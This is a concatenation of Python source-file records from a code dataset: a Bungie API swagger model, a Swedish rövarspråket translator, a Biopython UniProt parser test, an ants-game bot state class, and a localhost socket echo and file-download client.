lower=True)\n        chi2 = np.dot(x, x)\n        return -0.5 * self.nu * np.log(1.0 + chi2 / (self.nu - 1.0))\n","sub_path":"firecrown/ccl/likelihoods/tdist.py","file_name":"tdist.py","file_ext":"py","file_size_in_byte":2483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"8224553","text":"# coding: utf-8\n\n\"\"\"\n    Bungie.Net API\n\n    These endpoints constitute the functionality exposed by Bungie.net, both for more traditional website functionality and for connectivity to Bungie video games and their related functionality.  # noqa: E501\n\n    OpenAPI spec version: 2.1.1\n    Contact: support@bungie.com\n    Generated by: https://github.com/swagger-api/swagger-codegen.git\n\"\"\"\n\n\nimport pprint\nimport re  # noqa: F401\n\nimport six\n\nfrom swagger_client.models.destiny_definitions_items_destiny_derived_item_category_definition import DestinyDefinitionsItemsDestinyDerivedItemCategoryDefinition  # noqa: F401,E501\n\n\nclass DestinyDefinitionsDestinyItemPreviewBlockDefinition(object):\n    \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n    Do not edit the class manually.\n    \"\"\"\n\n    \"\"\"\n    Attributes:\n      swagger_types (dict): The key is attribute name\n                            and the value is attribute type.\n      attribute_map (dict): The key is attribute name\n                            and the value is json key in definition.\n    \"\"\"\n    swagger_types = {\n        'preview_vendor_hash': 'int',\n        'preview_action_string': 'str',\n        'derived_item_categories': 'list[DestinyDefinitionsItemsDestinyDerivedItemCategoryDefinition]'\n    }\n\n    attribute_map = {\n        'preview_vendor_hash': 'previewVendorHash',\n        'preview_action_string': 'previewActionString',\n        'derived_item_categories': 'derivedItemCategories'\n    }\n\n    def __init__(self, preview_vendor_hash=None, preview_action_string=None, derived_item_categories=None):  # noqa: E501\n        \"\"\"DestinyDefinitionsDestinyItemPreviewBlockDefinition - a model defined in Swagger\"\"\"  # noqa: E501\n\n        self._preview_vendor_hash = None\n        self._preview_action_string = None\n        self._derived_item_categories = None\n        self.discriminator = None\n\n        if preview_vendor_hash is not None:\n            self.preview_vendor_hash = preview_vendor_hash\n        if preview_action_string is not None:\n            self.preview_action_string = preview_action_string\n        if derived_item_categories is not None:\n            self.derived_item_categories = derived_item_categories\n\n    @property\n    def preview_vendor_hash(self):\n        \"\"\"Gets the preview_vendor_hash of this DestinyDefinitionsDestinyItemPreviewBlockDefinition.  # noqa: E501\n\n        If the preview data is derived from a fake \\\"Preview\\\" Vendor, this will be the hash identifier for the DestinyVendorDefinition of that fake vendor.  # noqa: E501\n\n        :return: The preview_vendor_hash of this DestinyDefinitionsDestinyItemPreviewBlockDefinition.  # noqa: E501\n        :rtype: int\n        \"\"\"\n        return self._preview_vendor_hash\n\n    @preview_vendor_hash.setter\n    def preview_vendor_hash(self, preview_vendor_hash):\n        \"\"\"Sets the preview_vendor_hash of this DestinyDefinitionsDestinyItemPreviewBlockDefinition.\n\n        If the preview data is derived from a fake \\\"Preview\\\" Vendor, this will be the hash identifier for the DestinyVendorDefinition of that fake vendor.  # noqa: E501\n\n        :param preview_vendor_hash: The preview_vendor_hash of this DestinyDefinitionsDestinyItemPreviewBlockDefinition.  # noqa: E501\n        :type: int\n        \"\"\"\n\n        self._preview_vendor_hash = preview_vendor_hash\n\n    @property\n    def preview_action_string(self):\n        \"\"\"Gets the preview_action_string of this DestinyDefinitionsDestinyItemPreviewBlockDefinition.  # noqa: E501\n\n        If the preview has an associated action (like \\\"Open\\\"), this will be the localized string for that action.  # noqa: E501\n\n        :return: The preview_action_string of this DestinyDefinitionsDestinyItemPreviewBlockDefinition.  # noqa: E501\n        :rtype: str\n        \"\"\"\n        return self._preview_action_string\n\n    @preview_action_string.setter\n    def preview_action_string(self, preview_action_string):\n        \"\"\"Sets the preview_action_string of this DestinyDefinitionsDestinyItemPreviewBlockDefinition.\n\n        If the preview has an associated action (like \\\"Open\\\"), this will be the localized string for that action.  # noqa: E501\n\n        :param preview_action_string: The preview_action_string of this DestinyDefinitionsDestinyItemPreviewBlockDefinition.  # noqa: E501\n        :type: str\n        \"\"\"\n\n        self._preview_action_string = preview_action_string\n\n    @property\n    def derived_item_categories(self):\n        \"\"\"Gets the derived_item_categories of this DestinyDefinitionsDestinyItemPreviewBlockDefinition.  # noqa: E501\n\n        This is a list of the items being previewed, categorized in the same way as they are in the preview UI.  # noqa: E501\n\n        :return: The derived_item_categories of this DestinyDefinitionsDestinyItemPreviewBlockDefinition.  # noqa: E501\n        :rtype: list[DestinyDefinitionsItemsDestinyDerivedItemCategoryDefinition]\n        \"\"\"\n        return self._derived_item_categories\n\n    @derived_item_categories.setter\n    def derived_item_categories(self, derived_item_categories):\n        \"\"\"Sets the derived_item_categories of this DestinyDefinitionsDestinyItemPreviewBlockDefinition.\n\n        This is a list of the items being previewed, categorized in the same way as they are in the preview UI.  # noqa: E501\n\n        :param derived_item_categories: The derived_item_categories of this DestinyDefinitionsDestinyItemPreviewBlockDefinition.  # noqa: E501\n        :type: list[DestinyDefinitionsItemsDestinyDerivedItemCategoryDefinition]\n        \"\"\"\n\n        self._derived_item_categories = derived_item_categories\n\n    def to_dict(self):\n        \"\"\"Returns the model properties as a dict\"\"\"\n        result = {}\n\n        for attr, _ in six.iteritems(self.swagger_types):\n            value = getattr(self, attr)\n            if isinstance(value, list):\n                result[attr] = list(map(\n                    lambda x: x.to_dict() if hasattr(x, \"to_dict\") else x,\n                    value\n                ))\n            elif hasattr(value, \"to_dict\"):\n                result[attr] = value.to_dict()\n            elif isinstance(value, dict):\n                result[attr] = dict(map(\n                    lambda item: (item[0], item[1].to_dict())\n                    if hasattr(item[1], \"to_dict\") else item,\n                    value.items()\n                ))\n            else:\n                result[attr] = value\n\n        return result\n\n    def to_str(self):\n        \"\"\"Returns the string representation of the model\"\"\"\n        return pprint.pformat(self.to_dict())\n\n    def __repr__(self):\n        \"\"\"For `print` and `pprint`\"\"\"\n        return self.to_str()\n\n    def __eq__(self, other):\n        \"\"\"Returns true if both objects are equal\"\"\"\n        if not isinstance(other, DestinyDefinitionsDestinyItemPreviewBlockDefinition):\n            return False\n\n        return self.__dict__ == other.__dict__\n\n    def __ne__(self, other):\n        \"\"\"Returns true if both objects are not equal\"\"\"\n        return not self == other\n","sub_path":"python/swagger_client/models/destiny_definitions_destiny_item_preview_block_definition.py","file_name":"destiny_definitions_destiny_item_preview_block_definition.py","file_ext":"py","file_size_in_byte":6992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"375562626","text":"from gtts import gTTS\r\n\r\nimport os\r\n\r\n# Alla vokaler\r\nvowels = 'aouåeiyäö'\r\n\r\n# Mina frågor ligger i dictionarys\r\nquestion = [('Vill du kryptera eller dekryptera(K eller D)?\\n', 'k', 'd')]\r\nquestion2 = [('Vill du få det uppläst, ja eller nej(J eller N)?\\n', 'j', 'n')]\r\n\r\n# Här får man välja om man vill ha till eller från rövarstråket och vad man vill översätta\r\ndef main() -> None:\r\n        for i in question:\r\n            answer = str(input(i[0]))\r\n            if answer.lower() == i[1]:\r\n                word = input('Vad vill du översätta?\\n')\r\n                final_word = rövarspråket(word)\r\n                print(final_word)\r\n                text_to_speech(final_word)\r\n            elif answer.lower() == i[2]:\r\n                word = input('Vad vill du översätta?\\n')\r\n                final_word = decode_rövarspråket(word)\r\n                print(final_word) \r\n                text_to_speech(final_word)\r\n            else:\r\n                print('404 error')\r\n\r\n# Kollar om det finns vokaler\r\ndef is_vowel(letter: str) -> bool:\r\n    return letter.lower() in vowels\r\n\r\n# Gör om svenska till rövarspråket\r\ndef rövarspråket(text: str) -> str:\r\n    translation = ''\r\n    for letter in text:\r\n        if letter in 'qwrtpsdfghjklzxcvbnmQWRTPSDFGHJKLZXCVBNM':\r\n            translation = translation + letter + 'o' + letter\r\n        else:\r\n            translation = translation + letter\r\n    return translation\r\n\r\n# Gör om rövarspråket till svenska\r\ndef decode_rövarspråket(word: str) -> str:\r\n    original_word = []\r\n    i = 0\r\n    while i <= (len(word) - 1):\r\n        character = word[i]\r\n        original_word.append(character)\r\n        if character.isalpha() and not is_vowel(character):\r\n            i += 3\r\n        else:\r\n            i += 1\r\n    return ''.join(original_word)\r\n\r\n# Läser upp det som är översätt\r\ndef text_to_speech(text):\r\n    for i in question2:\r\n        answer = str(input(i[0]))\r\n        if answer.lower() == i[1]:\r\n            language = 'sv'\r\n            myobj = gTTS(text=phrase, lang=language, slow=False)\r\n            myobj.save(\"rövarspråket.mp3\")\r\n            os.system(\"rövarspråket.mp3\")\r\n        elif (answer.lower() == i[2]):\r\n            print(text)\r\n        else:\r\n            print('404 error')\r\n\r\nif __name__ == '__main__':\r\n    main()","sub_path":"003rövarspråket_encrypt_decrypt.py","file_name":"003rövarspråket_encrypt_decrypt.py","file_ext":"py","file_size_in_byte":2316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"485444781","text":"#!/usr/bin/env python\n\"\"\"Test for the Uniprot parser on Uniprot XML files.\n\"\"\"\nimport os\nimport copy\nimport unittest\n\nfrom Bio import SeqIO\nfrom Bio.SeqRecord import SeqRecord\n\n#Left as None if the import within UniProtIO fails\nif SeqIO.UniprotIO.ElementTree is None:\n    from Bio import MissingPythonDependencyError\n    raise MissingPythonDependencyError(\"No ElementTree module was found. \"\n                            \"Use Python 2.5+, lxml or elementtree if you \"\n                            \"want to use Bio.SeqIO.UniprotIO.\")\n\nfrom seq_tests_common import compare_reference, compare_record\n\nclass TestUniprot(unittest.TestCase):\n\n    def test_uni001(self):\n        \"Parsing Uniprot file uni001\"\n        filename = 'uni001'\n        # test the record parser\n\n        datafile = os.path.join('SwissProt', filename)\n\n        test_handle = open(datafile)\n        seq_record = SeqIO.read(test_handle, \"uniprot-xml\")\n        test_handle.close()\n\n        self.assertTrue(isinstance(seq_record, SeqRecord))\n\n        # test a couple of things on the record -- this is not exhaustive\n        self.assertEqual(seq_record.id, \"Q91G55\")\n        self.assertEqual(seq_record.name, \"043L_IIV6\")\n        self.assertEqual(seq_record.description, \"Uncharacterized protein 043L\")\n        self.assertEqual(repr(seq_record.seq), \"Seq('MDLINNKLNIEIQKFCLDLEKKYNINYNNLIDLWFNKESTERLIKCEVNLENKI...IPI', ProteinAlphabet())\")\n\n        # self.assertEqual(seq_record.accessions, ['Q91G55']) #seq_record.accessions does not exist\n        # self.assertEqual(seq_record.organism_classification, ['Eukaryota', 'Metazoa', 'Chordata', 'Craniata', 'Vertebrata', 'Mammalia', 'Eutheria', 'Primates', 'Catarrhini', 'Hominidae', 'Homo'])\n        # self.assertEqual(record.seqinfo, (348, 39676, '75818910'))\n    \n        self.assertEqual(len(seq_record.features), 1)           \n        self.assertEqual(repr(seq_record.features[0]), \"SeqFeature(FeatureLocation(ExactPosition(0), ExactPosition(116)), type='chain', id='PRO_0000377969')\")\n\n        self.assertEqual(len(seq_record.annotations['references']), 2)\n        self.assertEqual(seq_record.annotations['references'][0].authors, 'Jakob N.J., Mueller K., Bahr U., Darai G.')\n        self.assertEqual(seq_record.annotations['references'][0].title, 'Analysis of the first complete DNA sequence of an invertebrate iridovirus: coding strategy of the genome of Chilo iridescent virus.')\n        self.assertEqual(seq_record.annotations['references'][0].journal, 'Virology 286:182-196(2001)')\n        self.assertEqual(seq_record.annotations['references'][0].comment, 'journal article | 2001 | Scope: NUCLEOTIDE SEQUENCE [LARGE SCALE GENOMIC DNA] | ')\n\n        self.assertEqual(len(seq_record.dbxrefs), 11)\n        self.assertEqual(seq_record.dbxrefs[0], 'DOI:10.1006/viro.2001.0963')\n\n        self.assertEqual(seq_record.annotations['sequence_length'], 116)\n        self.assertEqual(seq_record.annotations['sequence_checksum'], '4A29B35FB716523C')\n        self.assertEqual(seq_record.annotations['modified'], '2009-07-07')\n        self.assertEqual(seq_record.annotations['accessions'], ['Q91G55'])\n        self.assertEqual(seq_record.annotations['taxonomy'], ['Viruses', 'dsDNA viruses, no RNA stage', 'Iridoviridae', 'Iridovirus'])\n        self.assertEqual(seq_record.annotations['sequence_mass'], 13673)\n        self.assertEqual(seq_record.annotations['dataset'], 'Swiss-Prot')\n        self.assertEqual(seq_record.annotations['gene_name_ORF'], ['IIV6-043L'])\n        self.assertEqual(seq_record.annotations['version'], 21)\n        self.assertEqual(seq_record.annotations['sequence_modified'], '2001-12-01')\n        self.assertEqual(seq_record.annotations['keywords'], ['Complete proteome', 'Virus reference strain'])\n        self.assertEqual(seq_record.annotations['organism_host'], ['Acheta domesticus', 'House cricket', 'Chilo suppressalis', 'striped riceborer', 'Gryllus bimaculatus', 'Two-spotted cricket', 'Gryllus campestris', 'Spodoptera frugiperda', 'Fall armyworm'])\n        self.assertEqual(seq_record.annotations['created'], '2009-06-16')\n        self.assertEqual(seq_record.annotations['organism_name'], ['Chilo iridescent virus'])\n        self.assertEqual(seq_record.annotations['organism'], 'Invertebrate iridescent virus 6 (IIV-6)')\n        self.assertEqual(seq_record.annotations['recommendedName_fullName'], ['Uncharacterized protein 043L'])\n        self.assertEqual(seq_record.annotations['sequence_version'], 1)\n        self.assertEqual(seq_record.annotations['proteinExistence'], ['Predicted'])\n\n    def compare_txt_xml(self, old, new):\n        self.assertEqual(old.id, new.id)\n        self.assertEqual(old.name, new.name)\n        self.assertEqual(len(old), len(new))\n        self.assertEqual(str(old.seq), str(new.seq))\n        for key in set(old.annotations).intersection(new.annotations):\n            if key == \"references\":\n                self.assertEqual(len(old.annotations[key]),\n                                 len(new.annotations[key]))\n                for r1, r2 in zip(old.annotations[key], new.annotations[key]):\n                    #Tweak for line breaks in plain text SwissProt\n                    r1.title = r1.title.replace(\"- \", \"-\")\n                    r2.title = r2.title.replace(\"- \", \"-\")\n                    r1.journal = r1.journal.rstrip(\".\") #Should parser do this?\n                    r1.medline_id = \"\" #Missing in UniPort MXL? TODO - check\n                    #Lots of extra comments in UniProt XML\n                    r1.comment = \"\"\n                    r2.comment = \"\"\n                    if not r2.journal: r1.journal = \"\"\n                    compare_reference(r1, r2)\n            elif old.annotations[key] == new.annotations[key]:\n                pass\n            elif key in [\"date\"]:\n                #TODO - Why is this a list vs str?\n                pass\n            elif type(old.annotations[key]) != type(new.annotations[key]):\n                raise TypeError(\"%s gives %s vs %s\" % \\\n                                 (key, old.annotations[key], new.annotations[key]))\n            elif key in [\"organism\"]:\n                if old.annotations[key] == new.annotations[key]:\n                    pass\n                elif old.annotations[key].startswith(new.annotations[key]+\" \"):\n                    pass\n                else:\n                    raise ValueError(key)\n            elif isinstance(old.annotations[key], list) \\\n            and sorted(old.annotations[key]) == sorted(new.annotations[key]):\n                pass\n            else:\n                raise ValueError(\"%s gives %s vs %s\" % \\\n                                 (key, old.annotations[key], new.annotations[key]))\n        self.assertEqual(len(old.features), len(new.features),\n                         \"Features in %s, %i vs %i\" %\n                         (old.id, len(old.features), len(new.features)))\n        for f1, f2 in zip(old.features, new.features):\n            \"\"\"\n            self.assertEqual(f1.location.nofuzzy_start, f2.location.nofuzzy_start,\n                             \"%s %s vs %s %s\" %\n                             (f1.location, f1.type, f2.location, f2.type))\n            self.assertEqual(f1.location.nofuzzy_end, f2.location.nofuzzy_end,\n                             \"%s %s vs %s %s\" %\n                             (f1.location, f1.type, f2.location, f2.type))\n            \"\"\"\n            self.assertEqual(repr(f1.location), repr(f2.location),\n                            \"%s %s vs %s %s\" %\n                            (f1.location, f1.type, f2.location, f2.type))\n\n    def test_Q13639(self):\n        \"\"\"Compare SwissProt text and uniprot XML versions of Q13639.\"\"\"\n        old = SeqIO.read(\"SwissProt/Q13639.txt\", \"swiss\")\n        new = SeqIO.read(\"SwissProt/Q13639.xml\", \"uniprot-xml\")\n        self.compare_txt_xml(old, new)\n    \n    def test_multi_ex(self):\n        \"\"\"Compare SwissProt text and uniprot XML versions of several examples.\"\"\"\n        txt_list = list(SeqIO.parse(\"SwissProt/multi_ex.txt\", \"swiss\"))\n        xml_list = list(SeqIO.parse(\"SwissProt/multi_ex.xml\", \"uniprot-xml\"))\n        fas_list = list(SeqIO.parse(\"SwissProt/multi_ex.fasta\", \"fasta\"))\n        ids = [x.strip() for x in open(\"SwissProt/multi_ex.list\")]\n        self.assertEqual(len(txt_list), len(ids))\n        self.assertEqual(len(txt_list), len(fas_list))\n        self.assertEqual(len(txt_list), len(xml_list))\n        for txt, xml, fas, id in zip(txt_list, xml_list, fas_list, ids):\n            self.assertEqual(txt.id, id)\n            self.assertTrue(txt.id in fas.id.split(\"|\"))\n            self.assertEqual(str(txt.seq), str(fas.seq))\n            self.compare_txt_xml(txt, xml)\n    \n    def test_multi_ex_index(self):\n        \"\"\"Index SwissProt text and uniprot XML versions of several examples.\"\"\"\n        txt_list = list(SeqIO.parse(\"SwissProt/multi_ex.txt\", \"swiss\"))\n        xml_list = list(SeqIO.parse(\"SwissProt/multi_ex.xml\", \"uniprot-xml\"))\n        ids = [x.strip() for x in open(\"SwissProt/multi_ex.list\")]\n        txt_index = SeqIO.index(\"SwissProt/multi_ex.txt\", \"swiss\")\n        xml_index = SeqIO.index(\"SwissProt/multi_ex.xml\", \"uniprot-xml\")\n        self.assertEqual(sorted(txt_index), sorted(ids))\n        self.assertEqual(sorted(xml_index), sorted(ids))\n        #Check SeqIO.parse() versus SeqIO.index() for plain text \"swiss\"\n        for old in txt_list:\n            new = txt_index[old.id]\n            compare_record(old, new)\n        #Check SeqIO.parse() versus SeqIO.index() for XML \"uniprot-xml\"\n        for old in xml_list:\n            new = xml_index[old.id]\n            compare_record(old, new)\n        \nif __name__ == \"__main__\":\n    runner = unittest.TextTestRunner(verbosity = 2)\n    unittest.main(testRunner=runner)\n","sub_path":"Tests/test_Uniprot.py","file_name":"test_Uniprot.py","file_ext":"py","file_size_in_byte":9688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"409463325","text":"#!/usr/bin/env python\nfrom ants import *\nfrom bucket import *\n\n# A class that stores most of the game infomation\nclass game_state():\n    # Setup the class\n\tdef __init__(self, ants, logger):\n\t\t# Setup share variables\n\t\tself.ants = ants\n\t\tself.logger = logger\n\t\tself.turn = 0\t\n\t\t\n\t\t# Setup my ant variables\n\t\tself.my_ants = set()\n\t\tself.movable = set()\n\t\tself.num_my_ants = 0\t\t\n\t\tself.remove_ant = set()\n\t\tself.my_hills = set()\n\t\t\n\t\t# Setup enemy ant variables\n\t\tself.enemy_ants = [set(), set(), set(), set(), set(), set(), set(), set(), set(), set(), set(), set()]\n\t\tself.enemy_hills = [set(), set(), set(), set(), set(), set(), set(), set(), set(), set(), set(), set()]\n\t\tself.num_enemy_ants = 0\n\t\t\n\t\t# Setup path variables\n\t\tself.paths = []\n\t\t\n\t\t# Setup food variables\n\t\tself.food = set()\n\t\tself.targets = set()\n\t\t\n\t\t# Setup bucket map \n\t\tself.size = 8\n\t\tself.bucket_rows = int(self.ants.rows / self.size)\n\t\tself.bucket_cols = int(self.ants.cols / self.size)\n\n\t\tself.bucket_map = [ [ bucket(self.size) ] * (self.bucket_rows + 1) for i in range(self.bucket_cols + 1)]\n\t\t\n\t\t# Empty the buckets\n\t\tfor col in range(self.bucket_cols):\n\t\t\tfor row in range(self.bucket_rows):\n\t\t\t\tself.bucket_map[col][row] = bucket(self.size)\n\t\t\n\t# Update the bucket map\n\tdef update_bucket(self):\n\t\t# Empty the buckets\n\t\tfor col in range(self.bucket_cols):\n\t\t\tfor row in range(self.bucket_rows):\n\t\t\t\tself.bucket_map[col][row].reset()\n\t\t\t\t\n\t\t# Update my ants\n\t\tfor ant_loc in self.my_ants:\n\t\t\trow, col = ant_loc\n\t\t\tcol = int(col / self.size)\n\t\t\trow = int(row / self.size)\n\t\t\tself.bucket_map[col][row].my_ants.add(ant_loc)\n\t\t\t\n\t\t# Update enemy ants\n\t\tfor ant_loc in self.enemy_ants[0]:\n\t\t\trow, col = ant_loc\n\t\t\tcol = int(col / self.size)\n\t\t\trow = int(row / self.size)\n\t\t\tself.bucket_map[col][row].enemy_ants.add(ant_loc)\n\t\t\t\n\t\t# Update food\n\t\tfor food_loc in self.food:\n\t\t\trow, col = food_loc\n\t\t\tcol = int(col / self.size)\n\t\t\trow = int(row / self.size)\n\t\t\tself.bucket_map[col][row].food.add(food_loc)\n\t\t\n\t\t#self.logger.debug(\"Mini map cols: %d rows: %d\", self.bucket_cols, self.bucket_rows) \n\t\t#self.logger.debug(\"my density map:\\n%s\", self.render_my_density())\n\t\t#self.logger.debug(\"enemy density map:\\n%s\", self.render_enemy_density())\n\t\t#self.logger.debug(\"food density:\\n%s\", self.render_food_density())\n\t\t\n\t# Do the start up collection of data\n\tdef start_turn(self):\n\t\t# Increment turn number\n\t\tself.turn = self.turn + 1\n\t\t\n\t\t# Update my current info\n\t\tself.my_ants = set(self.ants.my_ants())\n\t\tself.movable = self.my_ants.copy()\n\t\tself.num_my_ants = len(self.my_ants)\n\t\tself.my_hills = set(self.ants.my_hills())\n\t\tself.remove_ant.clear()\n\t\t\n\t\t# Update enemy ant info\n\t\tenemy_ants = self.ants.enemy_ants()\n\t\tenemy_hills = self.ants.enemy_hills()\n\t\tself.num_enemy_ants = 0\n\t\t\n\t\t# Clear enemy ants\n\t\tfor ant_set in self.enemy_ants:\n\t\t\tant_set.clear()\n\t\t\t\n\t\t# Clear hills by testing if old hills are visible\n\t\tremove_hills = set()\n\t\tfor index in range(len(self.enemy_hills)):\n\t\t\tremove_hills.clear()\n\t\t\tfor hill in self.enemy_hills[index]:\n\t\t\t\n\t\t\t\t# If the hill is visible test if it still exist\n\t\t\t\tif self.ants.visible(hill):\n\t\t\t\t\n\t\t\t\t\t# Look for the hill in the updated list\n\t\t\t\t\tfound = False\n\t\t\t\t\tfor loc, owner in enemy_hills:\n\t\t\t\t\t\tif loc == hill:\n\t\t\t\t\t\t\tfound = True\n\t\t\t\t\t\t\t\n\t\t\t\t\t# If the hill doesn't exist then the hill has been razed\n\t\t\t\t\tif not found:\n\t\t\t\t\t\tremove_hills.add(hill)\n\t\t\t# Update the hill list\n\t\t\tif remove_hills:\n\t\t\t\t#self.logger.debug(\"remove_hills list%s\", remove_hills)\n\t\t\t\tself.enemy_hills[index] = self.enemy_hills[index] - remove_hills\n\t\t\n\t\tfor loc, owner in enemy_ants:\n\t\t\tself.num_enemy_ants += 1\n\t\t\tself.enemy_ants[owner].add(loc)\n\t\t\tself.enemy_ants[0].add(loc)\n\t\t\n\t\tfor loc, owner in enemy_hills:\n\t\t\tself.enemy_hills[owner].add(loc)\n\t\t\tself.enemy_hills[0].add(loc)\n\t\t\n\t\t# Update the food info\n\t\tself.food = set(self.ants.food())\n\t\tself.targets.clear()\n\t\t\n\t\t# Log turn stats\n\t\t#self.logger.debug(\"----------------------------Do Turn %d----------------------------\", self.turn)\n\t\t#self.logger.debug(\"ant food %s\", self.food)\n\t\t#self.logger.debug(\"my ants (%d): %s\", self.num_my_ants, self.my_ants)\n\t\t#self.logger.debug(\"enemy ants (%d): %s\", self.num_enemy_ants, self.enemy_ants)\n\t\t#self.logger.debug(\"my hills: %s\", self.my_hills)\n\t\t#self.logger.debug(\"enemy hills: %s\", self.enemy_hills)\n\t\t#self.logger.debug(\"map:\\n%s\", self.ants.render_text_map())\n\t\t#self.logger.debug(\"path map:\\n%s\", self.render_paths())\n\t\t\n\t\tself.update_bucket()\n\t\t\n\t# Render a text map of the paths\n\tdef render_paths(self):\n\t\t#Start with an empty\n\t\tpath_map = [ ['.'] * self.ants.rows for i in range(self.ants.cols)]\n\t\ttext_map = ''\n\t\t\n\t\t# Go through each path and each node\n\t\tx0 = y0 = x1 = y1 = 0\n\t\tfor current in self.paths:\n\t\t\tfor i in range(len(current.path)):\n\t\t\t\tif i == 0:\n\t\t\t\t\tcontinue\n\t\t\t\t\n\t\t\t\t# Get the path delta\n\t\t\t\ty0, x0 = current.path[i-1]\n\t\t\t\ty1, x1 = current.path[i]\n\t\t\t\tdx = x0 - x1\n\t\t\t\tdy = y0 - y1\n\n\t\t\t\t# Draw the direction the path is going\n\t\t\t\tif dx == 0:\n\t\t\t\t\tif dy == -1 or dy > 1:\n\t\t\t\t\t\tpath_map[x0][y0] = 'v'\n\t\t\t\t\tif dy == 1 or dy < -1:\n\t\t\t\t\t\tpath_map[x0][y0] = '^'\n\t\t\t\telse:\n\t\t\t\t\tif dx == -1 or dx > 1:\n\t\t\t\t\t\tpath_map[x0][y0] = '>'\n\t\t\t\t\tif dx == 1 or dx < -1:\n\t\t\t\t\t\tpath_map[x0][y0] = '<'\n\t\t\t\n\t\t\t# X Marks the spot\n\t\t\tif not i == 0:\n\t\t\t\tpath_map[x1][y1] = 'X'\n\n\t\t# Render the map\n\t\tfor x in range(self.ants.rows):\n\t\t\tfor y in range(self.ants.cols):\n\t\t\t\ttext_map += path_map[y][x]\n\t\t\ttext_map += '\\n'\n\t\t\n\t\treturn text_map\n\t\t\n\t# Render a text map of the paths\n\tdef render_my_density(self):\n\t\t# Render the map\n\t\ttext_map = ''\n\t\t\n\t\tfor y in range(self.bucket_rows):\n\t\t\tfor x in range(self.bucket_cols):\n\t\t\t\tdense = self.bucket_map[x][y].my_density()\n\t\t\t\tif dense < 0.01:\n\t\t\t\t\ttext_map += '.'\n\t\t\t\telif dense < 0.1:\n\t\t\t\t\ttext_map += 'o'\n\t\t\t\telif dense < 0.3:\n\t\t\t\t\ttext_map += 'O'\n\t\t\t\telif dense < 0.6:\n\t\t\t\t\ttext_map += '@'\n\t\t\t\telse:\n\t\t\t\t\ttext_map += '#'\t\n\t\t\ttext_map += '\\n'\n\t\t\t\n\t\treturn text_map\n\t\t\n\t# Render a text map of the paths\n\tdef render_enemy_density(self):\n\t\t# Render the map\n\t\ttext_map = ''\n\t\tfor y in range(self.bucket_rows):\n\t\t\tfor x in range(self.bucket_cols):\n\t\t\t\tdense = self.bucket_map[x][y].enemy_density()\n\t\t\t\tif dense < 0.01:\n\t\t\t\t\ttext_map += '.'\n\t\t\t\telif dense < 0.1:\n\t\t\t\t\ttext_map += 'o'\n\t\t\t\telif dense < 0.3:\n\t\t\t\t\ttext_map += 'O'\n\t\t\t\telif dense < 0.6:\n\t\t\t\t\ttext_map += '@'\n\t\t\t\telse:\n\t\t\t\t\ttext_map += '#'\t\t\n\t\t\ttext_map += '\\n'\n\t\t\t\n\t\treturn text_map\n\t\t\n\t# Render a text map of the paths\n\tdef render_food_density(self):\n\t\t# Render the map\n\t\ttext_map = ''\n\t\tfor y in range(self.bucket_rows):\n\t\t\tfor x in range(self.bucket_cols):\n\t\t\t\tdense = self.bucket_map[x][y].food_density()\n\t\t\t\tif dense < 0.01:\n\t\t\t\t\ttext_map += '.'\n\t\t\t\telif dense < 0.1:\n\t\t\t\t\ttext_map += 'o'\n\t\t\t\telif dense < 0.3:\n\t\t\t\t\ttext_map += 'O'\n\t\t\t\telif dense < 0.6:\n\t\t\t\t\ttext_map += '@'\n\t\t\t\telse:\n\t\t\t\t\ttext_map += '#'\t\t\t\t\n\t\t\ttext_map += '\\n'\n\t\t\t\n\t\treturn text_map\n","sub_path":"mybotV4/game_state.py","file_name":"game_state.py","file_ext":"py","file_size_in_byte":6853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"415482771","text":"#!/usr/bin/env python\nimport socket\nimport hashlib\n\n\nHOST = 'localhost'\nPORT = 10000\n\n\ndef echo_client():\n    ''' Echo Server 的 Client 端 '''\n\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    s.connect((HOST, PORT))\n\n    while True:\n        # 接收用户输入数据并发送服务端\n        data = input('input > ')\n\n        # 设定退出条件\n        if data == 'exit':\n            break\n\n        # 发送数据到服务端\n        s.sendall(data.encode())\n\n        # 接收服务端数据\n        data = s.recv(1024)\n        if not data:\n            break\n        else:\n            print(data.decode('utf-8'))\n\n    s.close()\n\ndef recv_file():\n    '''\n    接受服务器文件\n    :return:\n    '''\n    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    s.connect((HOST, PORT))\n    while True:\n        cmd = input(\">>:\").strip()\n        if len(cmd) == 0: continue\n        if cmd.startswith(\"exit\"):\n            break\n        if cmd.startswith(\"get\"):\n            s.send(cmd.encode())\n            # 接收文件大小\n            server_response = s.recv(1024)\n            print(server_response.decode())\n            if server_response.decode()=='文件不存在':\n                continue\n            else:\n                print(\"文件大小：\", server_response.decode())\n\n                # 发送确认\n                s.send(b\"ok\")\n\n                file_size = int(server_response.decode())\n                received_size = 0\n                filename = cmd.split()[1]\n                f = open(filename + \".new\", \"wb\")\n                m = hashlib.md5()\n                #     received_data = b\"\"\n                while received_size < file_size:\n                    buff = 0;\n                    # 只收取文件中的字符\n                    if file_size - received_size > 1024:\n                        buff = 1024\n                    else:\n                        buff = file_size - received_size\n                        # 接收数据\n                    cmd_res = s.recv(buff)\n                    # 每次收到的字节数\n                    received_size = received_size + len(cmd_res)\n\n                    m.update(cmd_res)\n                    # 将接收的数据写到文件中\n                    f.write(cmd_res)\n                else:\n                    print(\"done\")\n                    f.close()\n                    new_file_md5 = m.hexdigest()\n\n                server_file_md5 = s.recv(1024)\n                print(\"server md5 is :\", server_file_md5)\n                print(\"client md5 is :\", new_file_md5)\n    s.close()\n\n\nif __name__ == '__main__':\n    # echo_client()\n    recv_file()","sub_path":"week02/echo_client.py","file_name":"echo_client.py","file_ext":"py","file_size_in_byte":2631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
